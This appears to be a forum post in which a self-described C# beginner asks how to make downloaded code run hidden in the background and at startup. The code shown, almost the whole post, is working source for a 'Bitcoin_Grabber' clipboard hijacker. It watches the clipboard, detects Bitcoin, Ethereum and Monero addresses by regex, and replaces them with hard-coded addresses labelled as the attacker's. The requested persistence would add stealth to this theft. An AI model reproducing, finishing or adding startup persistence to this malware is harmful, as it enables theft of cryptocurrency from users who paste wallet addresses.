I need this code to run in the background and also startup, I can't do it because I am new to c#
I downloaded the source code from github but I want it to run in background when it is installed on the computer and startup like antiviruses.
namespace Bitcoin_Grabber
{
public class Program
{
public static void Main()
{
new Thread(() => { Run(); }).Start();
}
public static void Run()
{
Application.Run(new ClipboardNotification.NotificationForm());
}
}
internal static class Addresses
{
public readonly static string btc = "32gUZUByRbJPx1n2XmVxPTEtc6p6GosEnM"; //attacker's btc address
public readonly static string ethereum = "0x15eB01D9e6a6B73c5fA6Bc8382A27982d999DFdf"; //attacker's eth address
public readonly static string xmr = "XMR"; //attacker's xmr address
}
internal static class PatternRegex
{
public readonly static Regex btc = new Regex(@"\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\b");
public readonly static Regex ethereum = new Regex(@"\b0x[a-fA-F0-9]{40}\b");
public readonly static Regex xmr = new Regex(@"\b4([0-9]|[A-B])(.){93}\b");
}
internal static class NativeMethods
{
public const int WM_CLIPBOARDUPDATE = 0x031D;
public static IntPtr HWND_MESSAGE = new IntPtr(-3);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool AddClipboardFormatListener(IntPtr hwnd);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);
}
internal static class Clipboard
{
public static string GetText()
{
string ReturnValue = string.Empty;
Thread STAThread = new Thread(
delegate ()
{
ReturnValue = System.Windows.Forms.Clipboard.GetText();
});
STAThread.SetApartmentState(ApartmentState.STA);
STAThread.Start();
STAThread.Join();
return ReturnValue;
}
public static void SetText(string txt)
{
Thread STAThread = new Thread(
delegate ()
{
System.Windows.Forms.Clipboard.SetText(txt);
});
STAThread.SetApartmentState(ApartmentState.STA);
STAThread.Start();
STAThread.Join();
}
}
public sealed class ClipboardNotification
{
public class NotificationForm : Form
{
private static string currentClipboard = Clipboard.GetText();
public NotificationForm()
{
NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
NativeMethods.AddClipboardFormatListener(Handle);
}
private bool RegexResult(Regex pattern)
{
if (pattern.Match(currentClipboard).Success) return true;
else
return false;
}
protected override void WndProc(ref Message m)
{
if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
{
currentClipboard = Clipboard.GetText();
if (RegexResult(PatternRegex.btc) && !currentClipboard.Contains(Addresses.btc))
{
string result = PatternRegex.btc.Replace(currentClipboard, Addresses.btc);
Clipboard.SetText(result);
}
if (RegexResult(PatternRegex.ethereum) && !currentClipboard.Contains(Addresses.ethereum))
{
string result = PatternRegex.ethereum.Replace(currentClipboard, Addresses.ethereum);
Clipboard.SetText(result);
}
if (RegexResult(PatternRegex.xmr) && !currentClipboard.Contains(Addresses.xmr))
{
string result = PatternRegex.xmr.Replace(currentClipboard, Addresses.xmr);
Clipboard.SetText(result);
}
}
base.WndProc(ref m);
}
}
}